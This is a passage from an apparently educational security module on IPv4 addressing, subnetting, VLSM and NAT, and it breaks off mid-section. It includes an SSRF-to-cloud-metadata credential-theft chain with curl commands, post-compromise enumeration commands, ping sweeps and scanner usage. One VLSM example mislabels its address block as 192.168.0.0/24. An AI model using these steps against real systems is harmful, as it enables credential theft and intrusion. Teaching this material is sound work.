Address Classes — A, B, C and Why They Still Matter
Public vs Private IP — The Trust Boundary
CIDR Notation — The Modern Standard
Subnet Mask Calculation — From Binary to Practice
Subnetting — Designing and Breaking Networks
VLSM — Variable Length Subnet Masking
NAT — Network Address Translation
PAT — Port Address Translation
DHCP — How IP Addresses Are Assigned
DNS — How Names Become Addresses
DNS Record Types — The Full Map
IP Addressing in OT/ICS Environments
Hands-On Exercises
Module Summary

1. Why IP Addressing Is a Security Skill, Not Just a Network Skill

IP addressing is universally taught as a network engineering topic. Most security courses treat it the same way — cover the basics, move on to "real security." This is a mistake that costs professionals dearly in practice.

Concrete examples of how IP addressing knowledge directly enables or prevents attacks:

Reconnaissance: Every penetration test begins with identifying the target's IP ranges. CIDR notation determines your scan scope. Understanding which ranges are public vs private tells you what is directly exposed vs behind NAT. Misidentifying the scope means missing assets or scanning out-of-scope systems — both are serious professional failures.

DHCP starvation and rogue DHCP: An attacker who understands DHCP's mechanics can exhaust a server's IP pool by repeatedly requesting addresses with spoofed MACs, then deploy a rogue DHCP server that assigns the attacker as the default gateway — a full network MITM without touching a single firewall rule.

DNS as an attack vector: DNS is involved in over 90% of malware C2 communications according to Cisco Talos research. DNS cache poisoning, DNS tunnelling, subdomain takeover, dangling CNAME exploitation — all require deep DNS record knowledge to execute or detect.

NAT traversal: Understanding how NAT works is what allows attackers to design C2 channels that reach through NAT (reverse shells, DNS tunnelling, HTTPS beaconing). It is also what allows defenders to understand why a reverse shell works when a bind shell does not.

VLSM and network segmentation: Designing effective network segmentation — separating user VLANs from server VLANs from OT networks — requires VLSM. Reviewing a network architecture for security flaws requires understanding whether the subnetting design actually achieves the intended isolation.

For OT/ICS: Substation automation systems, SCADA networks, and industrial control networks all use IP addressing. The specific subnets in use, the address allocation strategy, and the DHCP/DNS configuration determine the lateral movement paths available to an attacker who gains initial access.

The security mindset for this module: IP addresses are not just numbers — they are the addressing scheme of the entire attack surface. Every IP, every subnet, every DNS record is a piece of the map.

2. IPv4 Structure — Octets, Binary, and Everything Underneath

2.1 The Physical Reality of an IP Address

An IPv4 address is a 32-bit binary number. Everything else — the dotted-decimal notation, the subnet masks, the network/host distinction — is a human-readable interpretation of those 32 bits.

192      .    168     .     1      .    100
11000000   10101000   00000001   01100100

Each group of 8 bits = 1 octet = 1 byte
Range per octet: 0 (00000000) to 255 (11111111)
Total combinations: 2^32 = 4,294,967,296

2.2 Binary Conversion — The Foundation

Every security professional must be able to convert between binary and decimal without a calculator. This is not academic — you will need to calculate network addresses, broadcast addresses, and subnet masks mentally or on paper during exams, interviews, and real assessments.

Positional values in a single octet:

Bit position:  7    6    5    4    3    2    1    0
Value:        128   64   32   16    8    4    2    1

Example: 192 in binary
  192 = 128 + 64 = 10000000 + 01000000 = 11000000 ✓

  Verify: 128 + 64 = 192 ✓

Example: 168 in binary
  168 = 128 + 32 + 8 = 10101000

  Verify: 128 + 32 + 8 = 168 ✓

Example: 255 in binary
  255 = 128 + 64 + 32 + 16 + 8 + 4 + 2 + 1 = 11111111

  This is the maximum value — all bits set.

Example: 0 in binary
  0 = 00000000
  All bits zero.

Decimal to binary — the systematic method:

Convert 172 to binary:

Step 1: Is 172 ≥ 128? YES → bit 7 = 1, remainder = 172 - 128 = 44
Step 2: Is 44 ≥ 64?  NO  → bit 6 = 0
Step 3: Is 44 ≥ 32?  YES → bit 5 = 1, remainder = 44 - 32 = 12
Step 4: Is 12 ≥ 16?  NO  → bit 4 = 0
Step 5: Is 12 ≥ 8?   YES → bit 3 = 1, remainder = 12 - 8 = 4
Step 6: Is 4 ≥ 4?    YES → bit 2 = 1, remainder = 4 - 4 = 0
Step 7: Is 0 ≥ 2?    NO  → bit 1 = 0
Step 8: Is 0 ≥ 1?    NO  → bit 0 = 0

Result: 10101100 = 172 ✓
Verify: 128 + 32 + 8 + 4 = 172 ✓

Full IP address in binary:

192.168.1.100

192 = 11000000
168 = 10101000
  1 = 00000001
100 = 01100100

Full binary: 11000000.10101000.00000001.01100100
As integer:  3232235876
As hex:      C0.A8.01.64  →  0xC0A80164

# Python — complete IP representation toolkit
import ipaddress, socket, struct

def ip_analysis(ip_str):
    ip = ipaddress.ip_address(ip_str)

    # Binary representation
    octets = ip_str.split('.')
    binary = '.'.join(f'{int(o):08b}' for o in octets)

    # Integer representation
    ip_int = int(ip)

    # Hex representation
    ip_hex = '.'.join(f'{int(o):02X}' for o in octets)

    print(f"IP Address:  {ip_str}")
    print(f"Binary:      {binary}")
    print(f"Integer:     {ip_int}")
    print(f"Hex:         {ip_hex}")
    print(f"Is private:  {ip.is_private}")
    print(f"Is loopback: {ip.is_loopback}")
    print(f"Is multicast:{ip.is_multicast}")

ip_analysis("192.168.1.100")
print()
ip_analysis("10.0.0.1")
print()
ip_analysis("8.8.8.8")

2.3 Why Binary Matters for Security

Subnet calculation: Every subnet calculation is a binary operation. The network address is found by ANDing the IP with the subnet mask. Without understanding binary, you cannot verify these calculations.

Firewall rules: ACLs (Access Control Lists) on routers and firewalls use wildcard masks — the inverse of subnet masks — for matching. 192.168.1.0 0.0.0.255 matches the entire 192.168.1.0/24 range. Understanding binary makes wildcard mask manipulation intuitive.

Packet crafting: When you use hping3, Scapy, or Nmap with custom IP options, you are manipulating binary fields in IP headers. Knowing the binary representation of IP addresses prevents mistakes that render your tool ineffective.

IP spoofing detection: When analysing packet captures, recognising invalid IP address combinations (e.g., a packet claiming to be from 192.168.x.x arriving on a WAN interface) requires knowing which ranges are private and should never appear on public-facing links.

Key Insight: IP addresses are 32-bit integers dressed up in dotted-decimal notation. Every network operation — subnetting, masking, routing decisions — is binary arithmetic. Professionals who cannot work in binary are operating with a conceptual gap that limits their precision in both attack and defence.

3. Address Classes — A, B, C and Why They Still Matter

3.1 The Historical Design

Before CIDR (1993), the internet used a classful addressing scheme where the address itself determined the network/host boundary. The first bits of the address determined the class.

Class A: 0xxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bit:    0
  Range:        1.0.0.0 – 126.255.255.255
  Default mask: /8  (255.0.0.0)
  Networks:     126 (0 and 127 reserved)
  Hosts/net:    16,777,214  (2^24 - 2)

  127.0.0.0/8 is reserved for loopback (127.0.0.1 = localhost)

Class B: 10xxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bits:   10
  Range:        128.0.0.0 – 191.255.255.255
  Default mask: /16 (255.255.0.0)
  Networks:     16,384
  Hosts/net:    65,534  (2^16 - 2)

Class C: 110xxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bits:   110
  Range:        192.0.0.0 – 223.255.255.255
  Default mask: /24 (255.255.255.0)
  Networks:     2,097,152
  Hosts/net:    254  (2^8 - 2)

Class D: 1110xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range:        224.0.0.0 – 239.255.255.255
  Purpose:      Multicast (not assignable to hosts)
  Examples:     224.0.0.5 (OSPF all routers)
                224.0.0.251 (mDNS)
                239.255.255.250 (SSDP/UPnP)

Class E: 1111xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range:        240.0.0.0 – 255.255.255.255
  Purpose:      Reserved/experimental
  255.255.255.255: Limited broadcast

3.2 Why Classes Still Matter Despite CIDR

CIDR replaced classful addressing, but class knowledge remains essential:

Legacy OT systems: PLCs, RTUs, and HMIs from the 1990s-2000s often have hardcoded class-based assumptions in their network stack. Some will only communicate within their class boundary. Some configuration interfaces display class-based defaults. Understanding classes is necessary to diagnose connectivity issues with legacy field devices.

Default subnet masks: When someone says "we use 10.x.x.x for internal addressing," the implied default mask is /8 (Class A). When a device is misconfigured with the wrong default mask, it will be unable to communicate outside its perceived local network. Diagnosing this requires knowing the class defaults.

BGP routing: Internet routing tables still include classful prefixes. Understanding why some routes aggregate nicely (along class boundaries) and why others do not requires class knowledge.

Security tool output: Nmap, Masscan, and other scanners sometimes reference class notation. Vulnerability scanners and SIEM correlation rules may use class-based patterns. Misinterpreting these references causes errors.

# Identify address class from command line:
python3 << 'EOF'
def ip_class(ip):
    first_octet = int(ip.split('.')[0])
    if first_octet == 0:
        return "Reserved (0.x.x.x)"
    elif 1 <= first_octet <= 126:
        return "Class A (default /8)"
    elif first_octet == 127:
        return "Loopback (127.x.x.x)"
    elif 128 <= first_octet <= 191:
        return "Class B (default /16)"
    elif 192 <= first_octet <= 223:
        return "Class C (default /24)"
    elif 224 <= first_octet <= 239:
        return "Class D (Multicast)"
    elif 240 <= first_octet <= 255:
        return "Class E (Reserved/Experimental)"

test_ips = ["10.0.0.1", "127.0.0.1", "172.16.0.1",
            "192.168.1.1", "8.8.8.8", "224.0.0.5", "240.0.0.1"]
for ip in test_ips:
    print(f"{ip:20} → {ip_class(ip)}")
EOF

Key Insight: Classful addressing is deprecated but not gone. Legacy OT devices predate CIDR and may exhibit class-based behaviour. Security professionals who only know CIDR will waste hours diagnosing problems that class knowledge would solve in seconds.

4. Public vs Private IP — The Trust Boundary

4.1 The RFC 1918 Private Ranges

RFC 1918 (1996) defined three address ranges that are never routed on the public internet. These are the "private" address spaces:

10.0.0.0/8
  Range:   10.0.0.0 – 10.255.255.255
  Hosts:   16,777,214
  Class:   A
  Use:     Large enterprises, cloud internal networks, OT networks

172.16.0.0/12
  Range:   172.16.0.0 – 172.31.255.255
  Hosts:   1,048,574
  Class:   B
  Use:     Medium enterprises, Docker default (172.17.0.0/16)

192.168.0.0/16
  Range:   192.168.0.0 – 192.168.255.255
  Hosts:   65,534
  Class:   C
  Use:     Home networks, small offices, most common default

Why these ranges are "safe" for internal use:
ISPs are required (RFC 1918) to filter these ranges at their borders — packets from these addresses should never appear on the internet. If a packet arrives at a WAN interface claiming to come from 192.168.x.x, it is:

A misconfigured device
A spoofed packet from an attacker (IP spoofing)
A filtering failure at an upstream ISP

This is the basis of BCP38 — ISPs should implement ingress filtering to drop packets from their customers whose source IP does not match the customer's allocated range.

4.2 Other Special Ranges Every Security Professional Must Know

Range              Purpose                              Security Relevance
─────────────────────────────────────────────────────────────────────────
0.0.0.0/8          "This network" — DHCP source        Invalid as source except DHCP discover
127.0.0.0/8        Loopback                             Services binding only to 127.0.0.1 are
                                                        not network-accessible (but can be
                                                        reached via SSRF from the same machine)
100.64.0.0/10      Carrier-grade NAT (CGN)              ISP internal addresses — confuses
                                                        traceroutes, may leak in headers
169.254.0.0/16     APIPA / Link-local                   Assigned by OS when DHCP fails.
                                                        ALSO: AWS/Azure/GCP metadata service
                                                        (169.254.169.254) — critical SSRF target
192.0.2.0/24       TEST-NET-1 (RFC 5737)                Never use in production
198.51.100.0/24    TEST-NET-2 (RFC 5737)                Never use in production
203.0.113.0/24     TEST-NET-3 (RFC 5737)                Never use in production
192.88.99.0/24     6to4 relay (deprecated)              May still appear in older networks
224.0.0.0/4        Multicast                            Routing protocols, service discovery
240.0.0.0/4        Reserved                             Should never appear in normal traffic
255.255.255.255/32 Limited broadcast                    DHCP discover destination

4.3 The Cloud Metadata Service — Critical SSRF Target

The link-local address 169.254.169.254 deserves special attention. Every major cloud provider (AWS, Azure, GCP, DigitalOcean, etc.) uses this address for their instance metadata service.

AWS EC2 Metadata Service:
  http://169.254.169.254/latest/meta-data/

  Contains:
    /iam/security-credentials/           ← Temporary IAM credentials
    /iam/security-credentials/<role>/    ← Specific role credentials
    /public-ipv4                         ← Instance's public IP
    /local-ipv4                          ← Instance's private IP
    /hostname                            ← Instance hostname
    /user-data                           ← Startup script (often contains secrets)
    /placement/availability-zone         ← Where this instance is running
    /security-groups                     ← Attached security groups

Azure IMDS (Instance Metadata Service):
  http://169.254.169.254/metadata/instance
  (requires header: Metadata: true)

GCP Metadata Server:
  http://metadata.google.internal/ (resolves to 169.254.169.254)
  http://169.254.169.254/computeMetadata/v1/
  (requires header: Metadata-Flavor: Google)

SSRF to Cloud Metadata — One of the Most Impactful Attack Chains:

If a web application is vulnerable to SSRF (Server-Side Request Forgery), and it runs on a cloud VM, an attacker can:

Send SSRF payload: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Get the IAM role name from the response
Send: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
Receive: AccessKeyId, SecretAccessKey, Token — temporary AWS credentials
Use credentials to access S3 buckets, RDS databases, other AWS services

Real-world impact: The 2019 Capital One breach exposed 100 million customer records. The attacker exploited an SSRF vulnerability in a WAF configuration, reached the metadata service, obtained IAM credentials, and used them to exfiltrate data from S3. The metadata service was the pivot point.

# Test metadata service access from inside a cloud VM:
curl http://169.254.169.254/latest/meta-data/                     # AWS
curl -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"  # Azure
curl -H "Metadata-Flavor:Google" http://169.254.169.254/computeMetadata/v1/  # GCP

# AWS IMDSv2 (more secure — requires token):
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/

# Detection: 
# In AWS CloudTrail, metadata service calls don't appear (they're local)
# But the subsequent use of temporary credentials DOES appear in CloudTrail
# Alert on: IAM credential usage from unexpected IPs or at unexpected times

Key Insight: The line between "private" and "public" is not just about RFC 1918. It is about trust. Private addresses imply internal trust. Cloud metadata services at 169.254.169.254 operate entirely on that trust assumption — no authentication, no encryption, just "you're on the network, so here are the credentials." SSRF that reaches this address is nearly always critical severity.

5. CIDR Notation — The Modern Standard

5.1 What CIDR Is and Why It Replaced Classes

CIDR (Classless Inter-Domain Routing, RFC 4632, 1993) solves the fundamental waste problem of classful addressing. Under the classful system, an organisation that needed 500 addresses received a Class B (/16, 65,534 hosts) — wasting 65,034 addresses. This accelerated IPv4 exhaustion.

CIDR allows any prefix length — the network/host boundary can be placed anywhere in the 32-bit address. A /22 gives exactly 1,022 hosts, matching the real requirement.

CIDR Notation: IP_address/prefix_length
Example: 192.168.1.0/24

/24 means: first 24 bits are the NETWORK portion
           last 8 bits are the HOST portion

Binary representation:
  Network bits: 11111111.11111111.11111111.00000000 = 255.255.255.0 (subnet mask)

Network address:    192.168.1.0   (all host bits = 0)
Broadcast address:  192.168.1.255 (all host bits = 1)
Usable host range:  192.168.1.1 – 192.168.1.254
Usable hosts:       2^8 - 2 = 254

5.2 Prefix Length to Subnet Mask Conversion

/prefix → subnet mask (must memorise these):

/8  → 255.0.0.0       (11111111.00000000.00000000.00000000)
/9  → 255.128.0.0
/10 → 255.192.0.0
/11 → 255.224.0.0
/12 → 255.240.0.0
/13 → 255.248.0.0
/14 → 255.252.0.0
/15 → 255.254.0.0
/16 → 255.255.0.0     (11111111.11111111.00000000.00000000)
/17 → 255.255.128.0
/18 → 255.255.192.0
/19 → 255.255.224.0
/20 → 255.255.240.0
/21 → 255.255.248.0
/22 → 255.255.252.0
/23 → 255.255.254.0
/24 → 255.255.255.0   (11111111.11111111.11111111.00000000)
/25 → 255.255.255.128
/26 → 255.255.255.192
/27 → 255.255.255.224
/28 → 255.255.255.240
/29 → 255.255.255.248
/30 → 255.255.255.252
/31 → 255.255.255.254 (point-to-point links — RFC 3021, no broadcast)
/32 → 255.255.255.255 (single host route)

The pattern: Each bit added to the prefix doubles the number of networks and halves the number of hosts.

Quick host calculation from prefix:
  Hosts = 2^(32 - prefix) - 2

/24 → 2^8  - 2 = 254
/25 → 2^7  - 2 = 126
/26 → 2^6  - 2 = 62
/27 → 2^5  - 2 = 30
/28 → 2^4  - 2 = 14
/29 → 2^3  - 2 = 6
/30 → 2^2  - 2 = 2     ← Point-to-point links between routers
/31 → 2^1  - 2 = 0     ← RFC 3021: used for P2P with no broadcast
/32 → 2^0  - 2 = -1    ← Single host route (host bits all 0 or 1, no subtraction)

5.3 CIDR in Security Operations

# Nmap with CIDR — scan entire subnets:
sudo nmap -sn 10.0.0.0/8          # Scan all 16M addresses in Class A (slow)
sudo nmap -sn 192.168.1.0/24      # Scan /24 (fast, common for LAN recon)
sudo nmap -sS 10.10.10.0/24       # SYN scan of /24

# Masscan — faster for large CIDR ranges:
sudo masscan 10.0.0.0/8 -p80,443,22,3389 --rate=10000
# --rate = packets per second (be careful on production networks)

# Python CIDR operations:
python3 << 'EOF'
import ipaddress

# Check if IP is within a CIDR range:
network = ipaddress.ip_network("10.10.0.0/16")
test_ip = ipaddress.ip_address("10.10.5.100")
print(f"{test_ip} in {network}: {test_ip in network}")

# Generate all IPs in a range (useful for scripting):
for ip in list(ipaddress.ip_network("192.168.1.0/29").hosts()):
    print(ip)

# Summarise multiple subnets:
nets = [
    ipaddress.ip_network("192.168.1.0/26"),
    ipaddress.ip_network("192.168.1.64/26"),
    ipaddress.ip_network("192.168.1.128/26"),
    ipaddress.ip_network("192.168.1.192/26"),
]
collapsed = list(ipaddress.collapse_addresses(nets))
print(f"\nCollapsed: {collapsed}")  # Should show 192.168.1.0/24

# Check if two networks overlap (critical for firewall rule analysis):
net1 = ipaddress.ip_network("10.0.0.0/8")
net2 = ipaddress.ip_network("10.10.0.0/16")
print(f"\nNetworks overlap: {net1.overlaps(net2)}")  # True
EOF

# iptables/nftables use CIDR notation:
sudo iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT   # Allow entire /24
sudo iptables -A INPUT -s 10.0.0.0/8 -j DROP         # Block entire Class A

# Wireshark CIDR filter:
# ip.addr == 192.168.1.0/24    → All traffic involving this subnet
# ip.src == 10.0.0.0/8         → Traffic sourced from 10.x.x.x

6. Subnet Mask Calculation — From Binary to Practice

6.1 What the Subnet Mask Does

The subnet mask tells a device which part of an IP address is the network portion and which part is the host portion. This is how a device knows whether a destination is on the same local network (no routing needed) or on a different network (send to default gateway).

Operation: Bitwise AND between IP address and subnet mask

IP address:    192.168.1.100 = 11000000.10101000.00000001.01100100
Subnet mask:   255.255.255.0 = 11111111.11111111.11111111.00000000
                               ────────────────────────────────────
AND result:    192.168.1.0   = 11000000.10101000.00000001.00000000
                               ← Network address

The network address is the IP with all host bits set to 0.

How a device uses this:

Device: 192.168.1.100/24
Wants to send to: 192.168.1.50

Step 1: Calculate own network address
  192.168.1.100 AND 255.255.255.0 = 192.168.1.0

Step 2: Calculate destination network address
  192.168.1.50 AND 255.255.255.0 = 192.168.1.0

Step 3: Are they the same? YES
  → Destination is local, send directly (use ARP to find MAC)

───────────────────────────────────────────────────────

Device: 192.168.1.100/24
Wants to send to: 10.0.0.1

Step 1: Own network: 192.168.1.0
Step 2: Destination network: 10.0.0.0 (AND with 255.255.255.0)
Step 3: Are they the same? NO
  → Destination is remote, send to default gateway

6.2 Finding Network and Broadcast Addresses

Given: 192.168.10.130/25

Step 1: Convert prefix to mask
  /25 → 255.255.255.128 = 11111111.11111111.11111111.10000000

Step 2: Find network address (AND)
  IP:   11000000.10101000.00001010.10000010
  Mask: 11111111.11111111.11111111.10000000
  AND:  11000000.10101000.00001010.10000000 = 192.168.10.128

Step 3: Find broadcast address (OR with inverted mask)
  Inverted mask (wildcard): 00000000.00000000.00000000.01111111
  Network:  11000000.10101000.00001010.10000000
  Wildcard: 00000000.00000000.00000000.01111111
  OR:       11000000.10101000.00001010.11111111 = 192.168.10.255

Results:
  Network address:   192.168.10.128
  Broadcast address: 192.168.10.255
  First host:        192.168.10.129
  Last host:         192.168.10.254
  Usable hosts:      2^7 - 2 = 126

# Subnet calculation tools:
ipcalc 192.168.10.130/25       # Comprehensive subnet info
ipcalc -n 192.168.10.130/25    # Network address only
ipcalc -b 192.168.10.130/25    # Broadcast only

# Python:
python3 -c "
import ipaddress
net = ipaddress.ip_interface('192.168.10.130/25').network
print(f'Network:   {net.network_address}')
print(f'Broadcast: {net.broadcast_address}')
print(f'Mask:      {net.netmask}')
print(f'Wildcard:  {net.hostmask}')
print(f'First:     {list(net.hosts())[0]}')
print(f'Last:      {list(net.hosts())[-1]}')
print(f'Hosts:     {net.num_addresses - 2}')
"

# Determine subnet from any IP:
ip route get 192.168.1.50      # Linux — shows route to this IP
ip addr show                    # Shows all interfaces with CIDR notation

7. Subnetting — Designing and Breaking Networks

7.1 Why Subnetting Is a Security Design Tool

Subnetting is not just about efficient address use — it is the primary mechanism for network segmentation. Separate subnets, enforced by routers and firewalls, are the foundation of defence-in-depth at the network layer.

A flat network (everyone in one subnet) means:

Broadcast traffic hits every device
ARP poisoning reaches every device
A compromised workstation can reach every server directly
No choke points for traffic inspection

A segmented network means:

Traffic between subnets must cross a router or firewall
Security policies can be enforced at subnet boundaries
Compromise of one subnet does not grant immediate access to others
Lateral movement requires exploiting the routing/firewall boundary

7.2 Subnetting a Network — The Complete Method

Problem: You have 192.168.1.0/24 and need to create 4 subnets of (approximately) equal size.

Step 1: Determine how many subnet bits are needed
  4 subnets → need 2 bits (2^2 = 4)
  Borrow 2 bits from the host portion

Step 2: New prefix length
  Original: /24
  New:      /24 + 2 = /26

Step 3: New subnet mask
  /26 = 11111111.11111111.11111111.11000000 = 255.255.255.192

Step 4: Block size
  8 host bits - 2 subnet bits = 6 host bits
  Hosts per subnet: 2^6 - 2 = 62
  Block size: 2^6 = 64

Step 5: List all subnets
  Subnet 1: 192.168.1.0/26     → hosts: 192.168.1.1   – 192.168.1.62
  Subnet 2: 192.168.1.64/26    → hosts: 192.168.1.65  – 192.168.1.126
  Subnet 3: 192.168.1.128/26   → hosts: 192.168.1.129 – 192.168.1.190
  Subnet 4: 192.168.1.192/26   → hosts: 192.168.1.193 – 192.168.1.254

Broadcasts: .63, .127, .191, .255

Security application of subnetting:

Typical enterprise segmented network design:

Segment             Subnet           Purpose                Security Posture
────────────────────────────────────────────────────────────────────────────
Users               10.10.1.0/24    Workstations           Least trusted
Servers             10.10.2.0/24    Internal servers       More trusted
Management          10.10.3.0/27    Network devices        Highly restricted
DMZ                 10.10.4.0/28    Internet-facing        Partially trusted
Guest               10.10.5.0/24    Visitor WiFi           Untrusted
OT/Control          10.20.0.0/24    Industrial devices     Isolated
OT/SCADA Server     10.20.1.0/28    HMI/Historian          Isolated
Surveillance        10.30.0.0/24    CCTV cameras           Isolated

Between each segment: firewall with explicit allow rules.
Default policy: DENY ALL.

7.3 Subnetting in Attack Context

Identifying the subnet from inside:

# After initial access, enumerate network configuration:
ip addr show                          # Own IP + subnet
ip route show                         # Routing table (reveals other subnets)
cat /etc/hosts                        # Static hostname mappings
cat /etc/resolv.conf                  # DNS server IPs (often on internal network)
arp -a                                # Recently communicated hosts

# Infer network topology from routing table:
ip route show
# Example output:
# default via 10.10.1.1 dev eth0       ← Default gateway
# 10.10.1.0/24 dev eth0               ← Local subnet
# 10.10.2.0/24 via 10.10.1.1 dev eth0 ← Route to server subnet (gateway is router)

# The presence of routes to 10.10.2.0/24 reveals the server subnet exists
# Even if firewall blocks direct access, knowing the subnet guides further attacks

Subnet scanning after initial access:

# Fast host discovery within a discovered subnet:
# Method 1: Ping sweep (often blocked by firewalls)
for i in $(seq 1 254); do ping -c 1 -W 1 10.10.2.$i &>/dev/null && echo "10.10.2.$i alive"; done

# Method 2: ARP scan (only works on same subnet)
sudo arp-scan 10.10.1.0/24

# Method 3: TCP SYN to common ports (works across subnets)
sudo nmap -sS -p 22,80,443,445,3389 --open 10.10.2.0/24 2>/dev/null

# Method 4: Using nc for quick port checks
nc -zv -w 1 10.10.2.100 22 80 443 2>&1 | grep succeeded

# Method 5: Python ping sweep
python3 << 'EOF'
import subprocess, ipaddress, concurrent.futures

def ping(ip):
    result = subprocess.run(['ping', '-c', '1', '-W', '1', str(ip)],
                           capture_output=True)
    if result.returncode == 0:
        return str(ip)
    return None

network = ipaddress.ip_network("10.10.2.0/24")
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
    futures = {executor.submit(ping, host): host for host in network.hosts()}
    for future in concurrent.futures.as_completed(futures):
        result = future.result()
        if result:
            print(f"ALIVE: {result}")
EOF

Key Insight: Subnetting is both a network design tool and a map-reading skill for attackers. From the attacker's perspective, routing tables and network configurations gathered during post-exploitation reveal the entire subnet architecture — which subnets exist, how they are connected, and what paths exist between them. Defenders must assume that an attacker who gains any foothold will enumerate the full subnet topology.

8. VLSM — Variable Length Subnet Masking

8.1 What VLSM Solves

Fixed-length subnetting wastes addresses. VLSM allows different subnets within the same network to have different prefix lengths — each subnet is sized exactly for its requirement.

Problem with fixed subnetting:

You need:
  - 1 subnet for 100 users    → need /25 (126 hosts)
  - 1 subnet for 20 servers   → need /27 (30 hosts)
  - 1 subnet for 10 printers  → need /28 (14 hosts)
  - 4 point-to-point links    → need /30 (2 hosts each)

Fixed /25 approach (wasteful):
  All subnets are /25 = 126 hosts each
  Servers subnet: 126 - 20 = 106 wasted addresses
  Printers subnet: 126 - 10 = 116 wasted addresses
  P2P links: 126 - 2 = 124 wasted addresses each

VLSM approach (efficient):
  User subnet:    /25 = 126 hosts ← sized correctly
  Server subnet:  /27 = 30 hosts  ← sized correctly
  Printer subnet: /28 = 14 hosts  ← sized correctly
  P2P links:      /30 = 2 hosts   ← sized correctly

8.2 VLSM Design Process

Always start with the largest subnet and work down.

Available block: 192.168.1.0/24 (254 hosts)
Requirements:
  1. Subnet A: 100 hosts
  2. Subnet B: 50 hosts
  3. Subnet C: 20 hosts
  4. Subnet D: 10 hosts
  5. Subnet E: 2 hosts (point-to-point link)

Step 1: Subnet A (100 hosts)
  Need: 2^n - 2 ≥ 100 → n=7 (2^7-2=126) → /25
  Assign: 192.168.1.0/25
  Range: 192.168.1.0 – 192.168.1.127
  Next available: 192.168.1.128

Step 2: Subnet B (50 hosts)
  Need: 2^n - 2 ≥ 50 → n=6 (2^6-2=62) → /26
  Assign: 192.168.1.128/26
  Range: 192.168.1.128 – 192.168.1.191
  Next available: 192.168.1.192

Step 3: Subnet C (20 hosts)
  Need: 2^n - 2 ≥ 20 → n=5 (2^5-2=30) → /27
  Assign: 192.168.1.192/27
  Range: 192.168.1.192 – 192.168.1.223
  Next available: 192.168.1.224

Step 4: Subnet D (10 hosts)
  Need: 2^n - 2 ≥ 10 → n=4 (2^4-2=14) → /28
  Assign: 192.168.1.224/28
  Range: 192.168.1.224 – 192.168.1.239
  Next available: 192.168.1.240

Step 5: Subnet E (2 hosts, P2P link)
  Need: 2^n - 2 ≥ 2 → n=2 (2^2-2=2) → /30
  Assign: 192.168.1.240/30
  Range: 192.168.1.240 – 192.168.1.243
  Remaining: 192.168.1.244 – 192.168.1.255 (available for future use)

8.3 VLSM and Security Architecture

VLSM is what makes proper OT network segmentation practical. Different zones have vastly different host count requirements:

OT Network VLSM Design Example:

  Corporate IT-OT DMZ:      10.20.0.0/28   (14 hosts — jump servers, historians)
  SCADA Server Zone:        10.20.0.16/29  (6 hosts — HMI servers, SCADA servers)
  Control Network:          10.20.0.24/29  (6 hosts — PLCs, RTUs)
  Field Device Network:     10.20.0.32/27  (30 hosts — sensors, actuators)
  Engineering Workstations: 10.20.0.64/28  (14 hosts — EWS)
  IT-OT Firewall Link:      10.20.0.80/30  (2 hosts — P2P firewall interfaces)
  OT-SCADA Firewall Link:   10.20.0.84/30  (2 hosts — P2P firewall interfaces)

  Total used: 192.168.0.0/24
  Each zone isolated with firewall — traffic only flows through permitted paths

# Verify VLSM design is correct (no overlaps):
python3 << 'EOF'
import ipaddress

subnets = [
    "10.20.0.0/28",
    "10.20.0.16/29",
    "10.20.0.24/29",
    "10.20.0.32/27",
    "10.20.0.64/28",
    "10.20.0.80/30",
    "10.20.0.84/30",
]

networks = [ipaddress.ip_network(s) for s in subnets]

# Check for overlaps:
overlaps = []
for i, n1 in enumerate(networks):
    for j, n2 in enumerate(networks):
        if i < j and n1.overlaps(n2):
            overlaps.append((subnets[i], subnets[j]))

if overlaps:
    print("OVERLAP DETECTED:")
    for o in overlaps:
        print(f"  {o[0]} overlaps with {o[1]}")
else:
    print("No overlaps — VLSM design is valid")

# Show total address space used:
total = sum(n.num_addresses for n in networks)
print(f"Total addresses allocated: {total}")
EOF

9. NAT — Network Address Translation

9.1 How NAT Works Internally

NAT maintains a translation table that maps {private IP, private port} to {public IP, public port} pairs.

NAT Translation Table:
┌────────────────────────┬────────────────────────┬──────────────────┐
│ Inside Local           │ Inside Global          │ Protocol         │
│ (Private IP:Port)      │ (Public IP:Port)       │                  │
├────────────────────────┼────────────────────────┼──────────────────┤
│ 192.168.1.10:54321     │ 203.0.113.1:12001      │ TCP              │
│ 192.168.1.10:54322     │ 203.0.113.1:12002      │ TCP              │
│ 192.168.1.20:45678     │ 203.0.113.1:12003      │ TCP              │
│ 192.168.1.30:53        │ 203.0.113.1:12004      │ UDP              │
└────────────────────────┴────────────────────────┴──────────────────┘

Outbound packet:
  Source: 192.168.1.10:54321  Destination: 8.8.8.8:53
  NAT rewrites source: 203.0.113.1:12001  Destination: 8.8.8.8:53
  Adds entry to table

Inbound packet:
  Source: 8.8.8.8:53  Destination: 203.0.113.1:12001
  NAT looks up 203.0.113.1:12001 → 192.168.1.10:54321
  Rewrites destination: 8.8.8.8:53 → 192.168.1.10:54321
  Forwards to internal host

9.2 NAT Types

Static NAT (one-to-one):
One private IP permanently maps to one public IP.
Used for: servers that must be reachable from the internet on their own public IP.
Security: same attack surface as a directly connected server — no protection.

Dynamic NAT:
Pool of public IPs, allocated on demand from private IPs.
Used when: organisation has multiple public IPs but more private hosts.
Less common in modern deployments.

PAT / NAT Overload (most common):
Many private IPs share one public IP, differentiated by source port.
This is what virtually every home router and most corporate NAT devices implement.
Covered in detail in Section 10.

Port Forwarding (Destination NAT / DNAT):
Inbound traffic to a specific public IP:port is redirected to a private IP:port.

Example: All traffic to 203.0.113.1:80 → 192.168.1.100:80 (internal web server)

Security: explicitly exposes a specific internal host to the internet.
Must be carefully controlled — unauthorised port forwarding is a security incident.

9.3 NAT Security Implications

NAT is NOT a security control — it is an address translation mechanism:

Common misconception: "We're behind NAT, so we're protected"

Why this is wrong:
